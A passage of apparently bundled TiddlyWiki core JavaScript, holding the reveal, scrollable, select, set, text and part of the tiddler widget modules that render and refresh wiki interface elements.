            "text": "/*\\\ntitle: $:/core/modules/widgets/reveal.js\ntype: application/javascript\nmodule-type: widget\n\nReveal widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RevealWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRevealWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRevealWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.revealTag && $tw.config.htmlUnsafeElements.indexOf(this.revealTag) === -1) {\n\t\ttag = this.revealTag;\n\t}\n\tvar domNode = this.document.createElement(tag);\n\tvar classes = this[\"class\"].split(\" \") || [];\n\tclasses.push(\"tc-reveal\");\n\tdomNode.className = classes.join(\" \");\n\tif(this.style) {\n\t\tdomNode.setAttribute(\"style\",this.style);\n\t}\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tif(!domNode.isTiddlyWikiFakeDom && this.type === \"popup\" && this.isOpen) {\n\t\tthis.positionPopup(domNode);\n\t\t$tw.utils.addClass(domNode,\"tc-popup\"); // Make sure that clicks don't dismiss popups within the revealed content\n\t}\n\tif(!this.isOpen) {\n\t\tdomNode.setAttribute(\"hidden\",\"true\");\n\t}\n\tthis.domNodes.push(domNode);\n};\n\nRevealWidget.prototype.positionPopup = function(domNode) {\n\tdomNode.style.position = \"absolute\";\n\tdomNode.style.zIndex = \"1000\";\n\tswitch(this.position) {\n\t\tcase \"left\":\n\t\t\tdomNode.style.left = Math.max(0, this.popup.left - domNode.offsetWidth) + \"px\";\n\t\t\tdomNode.style.top = this.popup.top + \"px\";\n\t\t\tbreak;\n\t\tcase \"above\":\n\t\t\tdomNode.style.left = this.popup.left + \"px\";\n\t\t\tdomNode.style.top = Math.max(0, this.popup.top - domNode.offsetHeight) + \"px\";\n\t\t\tbreak;\n\t\tcase \"aboveright\":\n\t\t\tdomNode.style.left = (this.popup.left + this.popup.width) + \"px\";\n\t\t\tdomNode.style.top = Math.max(0, this.popup.top + this.popup.height - domNode.offsetHeight) + \"px\";\n\t\t\tbreak;\n\t\tcase \"right\":\n\t\t\tdomNode.style.left = (this.popup.left + this.popup.width) + \"px\";\n\t\t\tdomNode.style.top = this.popup.top + \"px\";\n\t\t\tbreak;\n\t\tcase \"belowleft\":\n\t\t\tdomNode.style.left = Math.max(0, this.popup.left + this.popup.width - domNode.offsetWidth) + \"px\";\n\t\t\tdomNode.style.top = (this.popup.top + this.popup.height) + \"px\";\n\t\t\tbreak;\n\t\tdefault: // Below\n\t\t\tdomNode.style.left = this.popup.left + \"px\";\n\t\t\tdomNode.style.top = (this.popup.top + this.popup.height) + \"px\";\n\t\t\tbreak;\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nRevealWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.state = this.getAttribute(\"state\");\n\tthis.revealTag = this.getAttribute(\"tag\");\n\tthis.type = this.getAttribute(\"type\");\n\tthis.text = this.getAttribute(\"text\");\n\tthis.position = this.getAttribute(\"position\");\n\tthis[\"class\"] = this.getAttribute(\"class\",\"\");\n\tthis.style = this.getAttribute(\"style\",\"\");\n\tthis[\"default\"] = this.getAttribute(\"default\",\"\");\n\tthis.animate = this.getAttribute(\"animate\",\"no\");\n\tthis.retain = this.getAttribute(\"retain\",\"no\");\n\tthis.openAnimation = this.animate === \"no\" ? undefined : \"open\";\n\tthis.closeAnimation = this.animate === \"no\" ? undefined : \"close\";\n\t// Compute the title of the state tiddler and read it\n\tthis.stateTiddlerTitle = this.state;\n\tthis.stateTitle = this.getAttribute(\"stateTitle\");\n\tthis.stateField = this.getAttribute(\"stateField\");\n\tthis.stateIndex = this.getAttribute(\"stateIndex\");\n\tthis.readState();\n\t// Construct the child widgets\n\tvar childNodes = this.isOpen ? this.parseTreeNode.children : [];\n\tthis.hasChildNodes = this.isOpen;\n\tthis.makeChildWidgets(childNodes);\n};\n\n/*\nRead the state tiddler\n*/\nRevealWidget.prototype.readState = function() {\n\t// Read the information from the state tiddler\n\tvar state = this.stateTitle ? (this.stateField ? this.wiki.getTiddler(this.stateTitle).getFieldString(this.stateField) :\n\t\t(this.stateIndex ? this.wiki.extractTiddlerDataItem(this.stateTitle,this.stateIndex) :\n\t\t\tthis.wiki.getTiddlerText(this.stateTitle))) || this[\"default\"] || this.getVariable(\"currentTiddler\") :\n\t\t(this.stateTiddlerTitle ? this.wiki.getTextReference(this.state,this[\"default\"],this.getVariable(\"currentTiddler\")) : this[\"default\"]);\n\tif(state === null) {\n\t\tstate = this[\"default\"];\n\t}\n\tswitch(this.type) {\n\t\tcase \"popup\":\n\t\t\tthis.readPopupState(state);\n\t\t\tbreak;\n\t\tcase \"match\":\n\t\t\tthis.isOpen = !!(this.compareStateText(state) == 0);\n\t\t\tbreak;\n\t\tcase \"nomatch\":\n\t\t\tthis.isOpen = !(this.compareStateText(state) == 0);\n\t\t\tbreak;\n\t\tcase \"lt\":\n\t\t\tthis.isOpen = !!(this.compareStateText(state) < 0);\n\t\t\tbreak;\n\t\tcase \"gt\":\n\t\t\tthis.isOpen = !!(this.compareStateText(state) > 0);\n\t\t\tbreak;\n\t\tcase \"lteq\":\n\t\t\tthis.isOpen = !(this.compareStateText(state) > 0);\n\t\t\tbreak;\n\t\tcase \"gteq\":\n\t\t\tthis.isOpen = !(this.compareStateText(state) < 0);\n\t\t\tbreak;\n\t}\n};\n\nRevealWidget.prototype.compareStateText = function(state) {\n\treturn state.localeCompare(this.text,undefined,{numeric: true,sensitivity: \"case\"});\n};\n\nRevealWidget.prototype.readPopupState = function(state) {\n\tvar popupLocationRegExp = /^\\((-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+)\\)$/,\n\t\tmatch = popupLocationRegExp.exec(state);\n\t// Check if the state matches the location regexp\n\tif(match) {\n\t\t// If so, we're open\n\t\tthis.isOpen = true;\n\t\t// Get the location\n\t\tthis.popup = {\n\t\t\tleft: parseFloat(match[1]),\n\t\t\ttop: parseFloat(match[2]),\n\t\t\twidth: parseFloat(match[3]),\n\t\t\theight: parseFloat(match[4])\n\t\t};\n\t} else {\n\t\t// If not, we're closed\n\t\tthis.isOpen = false;\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRevealWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.state || changedAttributes.type || changedAttributes.text || changedAttributes.position || changedAttributes[\"default\"] || changedAttributes.animate || changedAttributes.stateTitle || changedAttributes.stateField || changedAttributes.stateIndex) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar currentlyOpen = this.isOpen;\n\t\tthis.readState();\n\t\tif(this.isOpen !== currentlyOpen || (this.stateTiddlerTitle && changedTiddlers[this.stateTiddlerTitle])) {\n\t\t\tif(this.retain === \"yes\") {\n\t\t\t\tthis.updateState();\n\t\t\t} else {\n\t\t\t\tthis.refreshSelf();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\n/*\nCalled by refresh() to dynamically show or hide the content\n*/\nRevealWidget.prototype.updateState = function() {\n\tvar self = this;\n\t// Read the current state\n\tthis.readState();\n\t// Construct the child nodes if needed\n\tvar domNode = this.domNodes[0];\n\tif(this.isOpen && !this.hasChildNodes) {\n\t\tthis.hasChildNodes = true;\n\t\tthis.makeChildWidgets(this.parseTreeNode.children);\n\t\tthis.renderChildren(domNode,null);\n\t}\n\t// Animate our DOM node\n\tif(!domNode.isTiddlyWikiFakeDom && this.type === \"popup\" && this.isOpen) {\n\t\tthis.positionPopup(domNode);\n\t\t$tw.utils.addClass(domNode,\"tc-popup\"); // Make sure that clicks don't dismiss popups within the revealed content\n\n\t}\n\tif(this.isOpen) {\n\t\tdomNode.removeAttribute(\"hidden\");\n        $tw.anim.perform(this.openAnimation,domNode);\n\t} else {\n\t\t$tw.anim.perform(this.closeAnimation,domNode,{callback: function() {\n\t\t\t//make sure that the state hasn't changed during the close animation\n\t\t\tself.readState()\n\t\t\tif(!self.isOpen) {\n\t\t\t\tdomNode.setAttribute(\"hidden\",\"true\");\n\t\t\t}\n\t\t}});\n\t}\n};\n\nexports.reveal = RevealWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/scrollable.js": {
            "title": "$:/core/modules/widgets/scrollable.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/scrollable.js\ntype: application/javascript\nmodule-type: widget\n\nScrollable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ScrollableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.scaleFactor = 1;\n\tthis.addEventListeners([\n\t\t{type: \"tm-scroll\", handler: \"handleScrollEvent\"}\n\t]);\n\tif($tw.browser) {\n\t\tthis.requestAnimationFrame = window.requestAnimationFrame ||\n\t\t\twindow.webkitRequestAnimationFrame ||\n\t\t\twindow.mozRequestAnimationFrame ||\n\t\t\tfunction(callback) {\n\t\t\t\treturn window.setTimeout(callback, 1000/60);\n\t\t\t};\n\t\tthis.cancelAnimationFrame = window.cancelAnimationFrame ||\n\t\t\twindow.webkitCancelAnimationFrame ||\n\t\t\twindow.webkitCancelRequestAnimationFrame ||\n\t\t\twindow.mozCancelAnimationFrame ||\n\t\t\twindow.mozCancelRequestAnimationFrame ||\n\t\t\tfunction(id) {\n\t\t\t\twindow.clearTimeout(id);\n\t\t\t};\n\t}\n};\n\n/*\nInherit from the base widget class\n*/\nScrollableWidget.prototype = new Widget();\n\nScrollableWidget.prototype.cancelScroll = function() {\n\tif(this.idRequestFrame) {\n\t\tthis.cancelAnimationFrame.call(window,this.idRequestFrame);\n\t\tthis.idRequestFrame = null;\n\t}\n};\n\n/*\nHandle a scroll event\n*/\nScrollableWidget.prototype.handleScrollEvent = function(event) {\n\t// Pass the scroll event through if our offsetsize is larger than our scrollsize\n\tif(this.outerDomNode.scrollWidth <= this.outerDomNode.offsetWidth && this.outerDomNode.scrollHeight <= this.outerDomNode.offsetHeight && this.fallthrough === \"yes\") {\n\t\treturn true;\n\t}\n\tthis.scrollIntoView(event.target);\n\treturn false; // Handled event\n};\n\n/*\nScroll an element into view\n*/\nScrollableWidget.prototype.scrollIntoView = function(element) {\n\tvar duration = $tw.utils.getAnimationDuration();\n\tthis.cancelScroll();\n\tthis.startTime = Date.now();\n\tvar scrollPosition = {\n\t\tx: this.outerDomNode.scrollLeft,\n\t\ty: this.outerDomNode.scrollTop\n\t};\n\t// Get the client bounds of the element and adjust by the scroll position\n\tvar scrollableBounds = this.outerDomNode.getBoundingClientRect(),\n\t\tclientTargetBounds = element.getBoundingClientRect(),\n\t\tbounds = {\n\t\t\tleft: clientTargetBounds.left + scrollPosition.x - scrollableBounds.left,\n\t\t\ttop: clientTargetBounds.top + scrollPosition.y - scrollableBounds.top,\n\t\t\twidth: clientTargetBounds.width,\n\t\t\theight: clientTargetBounds.height\n\t\t};\n\t// We'll consider the horizontal and vertical scroll directions separately via this function\n\tvar getEndPos = function(targetPos,targetSize,currentPos,currentSize) {\n\t\t\t// If the target is already visible then stay where we are\n\t\t\tif(targetPos >= currentPos && (targetPos + targetSize) <= (currentPos + currentSize)) {\n\t\t\t\treturn currentPos;\n\t\t\t// If the target is above/left of the current view, then scroll to its top/left\n\t\t\t} else if(targetPos <= currentPos) {\n\t\t\t\treturn targetPos;\n\t\t\t// If the target is smaller than the window and the scroll position is too far up, then scroll till the target is at the bottom of the window\n\t\t\t} else if(targetSize < currentSize && currentPos < (targetPos + targetSize - currentSize)) {\n\t\t\t\treturn targetPos + targetSize - currentSize;\n\t\t\t// If the target is big, then just scroll to the top\n\t\t\t} else if(currentPos < targetPos) {\n\t\t\t\treturn targetPos;\n\t\t\t// Otherwise, stay where we are\n\t\t\t} else {\n\t\t\t\treturn currentPos;\n\t\t\t}\n\t\t},\n\t\tendX = getEndPos(bounds.left,bounds.width,scrollPosition.x,this.outerDomNode.offsetWidth),\n\t\tendY = getEndPos(bounds.top,bounds.height,scrollPosition.y,this.outerDomNode.offsetHeight);\n\t// Only scroll if necessary\n\tif(endX !== scrollPosition.x || endY !== scrollPosition.y) {\n\t\tvar self = this,\n\t\t\tdrawFrame;\n\t\tdrawFrame = function () {\n\t\t\tvar t;\n\t\t\tif(duration <= 0) {\n\t\t\t\tt = 1;\n\t\t\t} else {\n\t\t\t\tt = ((Date.now()) - self.startTime) / duration;\t\n\t\t\t}\n\t\t\tif(t >= 1) {\n\t\t\t\tself.cancelScroll();\n\t\t\t\tt = 1;\n\t\t\t}\n\t\t\tt = $tw.utils.slowInSlowOut(t);\n\t\t\tself.outerDomNode.scrollLeft = scrollPosition.x + (endX - scrollPosition.x) * t;\n\t\t\tself.outerDomNode.scrollTop = scrollPosition.y + (endY - scrollPosition.y) * t;\n\t\t\tif(t < 1) {\n\t\t\t\tself.idRequestFrame = self.requestAnimationFrame.call(window,drawFrame);\n\t\t\t}\n\t\t};\n\t\tdrawFrame();\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nScrollableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create elements\n\tthis.outerDomNode = this.document.createElement(\"div\");\n\t$tw.utils.setStyle(this.outerDomNode,[\n\t\t{overflowY: \"auto\"},\n\t\t{overflowX: \"auto\"},\n\t\t{webkitOverflowScrolling: \"touch\"}\n\t]);\n\tthis.innerDomNode = this.document.createElement(\"div\");\n\tthis.outerDomNode.appendChild(this.innerDomNode);\n\t// Assign classes\n\tthis.outerDomNode.className = this[\"class\"] || \"\";\n\t// Insert element\n\tparent.insertBefore(this.outerDomNode,nextSibling);\n\tthis.renderChildren(this.innerDomNode,null);\n\tthis.domNodes.push(this.outerDomNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nScrollableWidget.prototype.execute = function() {\n\t// Get attributes\n\tthis.fallthrough = this.getAttribute(\"fallthrough\",\"yes\");\n\tthis[\"class\"] = this.getAttribute(\"class\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nScrollableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.scrollable = ScrollableWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/select.js": {
            "title": "$:/core/modules/widgets/select.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/select.js\ntype: application/javascript\nmodule-type: widget\n\nSelect widget:\n\n```\n<$select tiddler=\"MyTiddler\" field=\"text\">\n<$list filter=\"[tag[chapter]]\">\n<option value=<<currentTiddler>>>\n<$view field=\"description\"/>\n</option>\n</$list>\n</$select>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SelectWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSelectWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSelectWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n\tthis.setSelectValue();\n\t$tw.utils.addEventListeners(this.getSelectDomNode(),[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n};\n\n/*\nHandle a change event\n*/\nSelectWidget.prototype.handleChangeEvent = function(event) {\n\t// Get the new value and assign it to the tiddler\n\tif(this.selectMultiple == false) {\n\t\tvar value = this.getSelectDomNode().value;\n\t} else {\n\t\tvar value = this.getSelectValues()\n\t\t\t\tvalue = $tw.utils.stringifyList(value);\n\t}\n\tthis.wiki.setText(this.selectTitle,this.selectField,this.selectIndex,value);\n\t// Trigger actions\n\tif(this.selectActions) {\n\t\tthis.invokeActionString(this.selectActions,this,event);\n\t}\n};\n\n/*\nIf necessary, set the value of the select element to the current value\n*/\nSelectWidget.prototype.setSelectValue = function() {\n\tvar value = this.selectDefault;\n\t// Get the value\n\tif(this.selectIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.selectTitle,this.selectIndex,value);\n\t} else {\n\t\tvar tiddler = this.wiki.getTiddler(this.selectTitle);\n\t\tif(tiddler) {\n\t\t\tif(this.selectField === \"text\") {\n\t\t\t\t// Calling getTiddlerText() triggers lazy loading of skinny tiddlers\n\t\t\t\tvalue = this.wiki.getTiddlerText(this.selectTitle);\n\t\t\t} else {\n\t\t\t\tif($tw.utils.hop(tiddler.fields,this.selectField)) {\n\t\t\t\t\tvalue = tiddler.getFieldString(this.selectField);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif(this.selectField === \"title\") {\n\t\t\t\tvalue = this.selectTitle;\n\t\t\t}\n\t\t}\n\t}\n\t// Assign it to the select element if it's different than the current value\n\tif (this.selectMultiple) {\n\t\tvalue = value === undefined ? \"\" : value;\n\t\tvar select = this.getSelectDomNode();\n\t\tvar values = Array.isArray(value) ? value : $tw.utils.parseStringArray(value);\n\t\tfor(var i=0; i < select.children.length; i++){\n\t\t\tif(values.indexOf(select.children[i].value) != -1) {\n\t\t\t\tselect.children[i].selected = true;\n\t\t\t}\n\t\t}\n\t\t\n\t} else {\n\t\tvar domNode = this.getSelectDomNode();\n\t\tif(domNode.value !== value) {\n\t\t\tdomNode.value = value;\n\t\t}\n\t}\n};\n\n/*\nGet the DOM node of the select element\n*/\nSelectWidget.prototype.getSelectDomNode = function() {\n\treturn this.children[0].domNodes[0];\n};\n\n// Return an array of the selected opion values\n// select is an HTML select element\nSelectWidget.prototype.getSelectValues = function() {\n\tvar select, result, options, opt;\n\tselect = this.getSelectDomNode();\n\tresult = [];\n\toptions = select && select.options;\n\tfor (var i=0; i<options.length; i++) {\n\t\topt = options[i];\n\t\tif (opt.selected) {\n\t\t\tresult.push(opt.value || opt.text);\n\t\t}\n\t}\n\treturn result;\n}\n\n/*\nCompute the internal state of the widget\n*/\nSelectWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.selectActions = this.getAttribute(\"actions\");\n\tthis.selectTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.selectField = this.getAttribute(\"field\",\"text\");\n\tthis.selectIndex = this.getAttribute(\"index\");\n\tthis.selectClass = this.getAttribute(\"class\");\n\tthis.selectDefault = this.getAttribute(\"default\");\n\tthis.selectMultiple = this.getAttribute(\"multiple\", false);\n\tthis.selectSize = this.getAttribute(\"size\");\n\t// Make the child widgets\n\tvar selectNode = {\n\t\ttype: \"element\",\n\t\ttag: \"select\",\n\t\tchildren: this.parseTreeNode.children\n\t};\n\tif(this.selectClass) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"class\",this.selectClass);\n\t}\n\tif(this.selectMultiple) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"multiple\",\"multiple\");\n\t}\n\tif(this.selectSize) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"size\",this.selectSize);\n\t}\n\tthis.makeChildWidgets([selectNode]);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nSelectWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// If we're using a different tiddler/field/index then completely refresh ourselves\n\tif(changedAttributes.selectTitle || changedAttributes.selectField || changedAttributes.selectIndex) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t// If the target tiddler value has changed, just update setting and refresh the children\n\t} else {\n\t\tvar childrenRefreshed = this.refreshChildren(changedTiddlers);\n\t\tif(changedTiddlers[this.selectTitle] || childrenRefreshed) {\n\t\t\tthis.setSelectValue();\n\t\t} \n\t\treturn childrenRefreshed;\n\t}\n};\n\nexports.select = SelectWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/set.js": {
            "title": "$:/core/modules/widgets/set.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/set.js\ntype: application/javascript\nmodule-type: widget\n\nSet variable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SetWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSetWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSetWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nSetWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.setName = this.getAttribute(\"name\",\"currentTiddler\");\n\tthis.setFilter = this.getAttribute(\"filter\");\n\tthis.setSelect = this.getAttribute(\"select\");\n\tthis.setTiddler = this.getAttribute(\"tiddler\");\n\tthis.setSubTiddler = this.getAttribute(\"subtiddler\");\n\tthis.setField = this.getAttribute(\"field\");\n\tthis.setIndex = this.getAttribute(\"index\");\n\tthis.setValue = this.getAttribute(\"value\");\n\tthis.setEmptyValue = this.getAttribute(\"emptyValue\");\n\t// Set context variable\n\tthis.setVariable(this.setName,this.getValue(),this.parseTreeNode.params,!!this.parseTreeNode.isMacroDefinition);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nGet the value to be assigned\n*/\nSetWidget.prototype.getValue = function() {\n\tvar value = this.setValue;\n\tif(this.setTiddler) {\n\t\tvar tiddler;\n\t\tif(this.setSubTiddler) {\n\t\t\ttiddler = this.wiki.getSubTiddler(this.setTiddler,this.setSubTiddler);\n\t\t} else {\n\t\t\ttiddler = this.wiki.getTiddler(this.setTiddler);\t\t\t\n\t\t}\n\t\tif(!tiddler) {\n\t\t\tvalue = this.setEmptyValue;\n\t\t} else if(this.setField) {\n\t\t\tvalue = tiddler.getFieldString(this.setField) || this.setEmptyValue;\n\t\t} else if(this.setIndex) {\n\t\t\tvalue = this.wiki.extractTiddlerDataItem(this.setTiddler,this.setIndex,this.setEmptyValue);\n\t\t} else {\n\t\t\tvalue = tiddler.fields.text || this.setEmptyValue ;\n\t\t}\n\t} else if(this.setFilter) {\n\t\tvar results = this.wiki.filterTiddlers(this.setFilter,this);\n\t\tif(this.setValue == null) {\n\t\t\tvar select;\n\t\t\tif(this.setSelect) {\n\t\t\t\tselect = parseInt(this.setSelect,10);\n\t\t\t}\n\t\t\tif(select !== undefined) {\n\t\t\t\tvalue = results[select] || \"\";\n\t\t\t} else {\n\t\t\t\tvalue = $tw.utils.stringifyList(results);\t\t\t\n\t\t\t}\n\t\t}\n\t\tif(results.length === 0 && this.setEmptyValue !== undefined) {\n\t\t\tvalue = this.setEmptyValue;\n\t\t}\n\t} else if(!value && this.setEmptyValue) {\n\t\tvalue = this.setEmptyValue;\n\t}\n\treturn value || \"\";\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nSetWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name || changedAttributes.filter || changedAttributes.select || changedAttributes.tiddler || (this.setTiddler && changedTiddlers[this.setTiddler]) || changedAttributes.field || changedAttributes.index || changedAttributes.value || changedAttributes.emptyValue ||\n\t   (this.setFilter && this.getValue() != this.variables[this.setName].value)) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.setvariable = SetWidget;\nexports.set = SetWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/text.js": {
            "title": "$:/core/modules/widgets/text.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/text.js\ntype: application/javascript\nmodule-type: widget\n\nText node widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TextNodeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTextNodeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTextNodeWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar text = this.getAttribute(\"text\",this.parseTreeNode.text || \"\");\n\ttext = text.replace(/\\r/mg,\"\");\n\tvar textNode = this.document.createTextNode(text);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTextNodeWidget.prototype.execute = function() {\n\t// Nothing to do for a text node\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTextNodeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.text) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.text = TextNodeWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/tiddler.js": {
            "title": "$:/core/modules/widgets/tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/tiddler.js\ntype: application/javascript\nmodule-type: widget\n\nTiddler widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTiddlerWidget.prototype.execute = function() {\n\tthis.tiddlerState = this.computeTiddlerState();\n\tthis.setVariable(\"currentTiddler\",this.tiddlerState.currentTiddler);\n\tthis.setVariable(\"missingTiddlerClass\",this.tiddlerState.missingTiddlerClass);\n\tthis.setVariable(\"shadowTiddlerClass\",this.tiddlerState.shadowTiddlerClass);\n\tthis.setVariable(\"systemTiddlerClass\",this.tiddlerState.systemTiddlerClass);\n\tthis.setVariable(\"tiddlerTagClasses\",this.tiddlerState.tiddlerTagClasses);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nCompute the tiddler state flags\n*/\nTiddlerWidget.prototype.computeTiddlerState = function() {\n\t// Get our parameters\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Compute the state\n\tvar state = {\n\t\tcurrentTiddler: this.tiddlerTitle || \"\",\n\t\tmissingTiddlerClass: (this.wiki.tiddlerExists(this.tiddlerTitle) || this.wiki.isShadowTiddler(this.tiddlerTitle)) ? \"tc-tiddler-exists\" : \"tc-tiddler-missing\",\n\t\tshadowTiddlerClass: this.wiki.isShadowTiddler(this.tiddlerTitle) ? \"tc-tiddler-shadow\" : \"\",\n\t\tsystemTiddlerClass: this.wiki.isSystemTiddler(this.tiddlerTitle) ? \"tc-tiddler-system\" : \"\",\n\t\ttiddlerTagClasses: this.getTagClasses()\n\t};\n\t// Compute a simple hash to make it easier to detect changes\n\tstate.hash = state.currentTiddler + state.missingTiddlerClass + state.shadowTiddlerClass + state.systemTiddlerClass + state.tiddlerTagClasses;\n\treturn state;\n};\n\n/*\nCreate a string of CSS classes derived from the tags of the current tiddler\n*/\nTiddlerWidget.prototype.getTagClasses = function() {\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle);\n\tif(tiddler) {\n\t\tvar tags = [];\n\t\t$tw.utils.each(tiddler.fields.tags,function(tag) {\n\t\t\ttags.push(\"tc-tagged-\" + encodeURIComponent(tag));\n\t\t});\n\t\treturn tags.join(\" \");\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\tnewTiddlerState = this.computeTiddlerState();\n\tif(changedAttributes.tiddler || newTiddlerState.hash !== this.tiddlerState.hash) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn 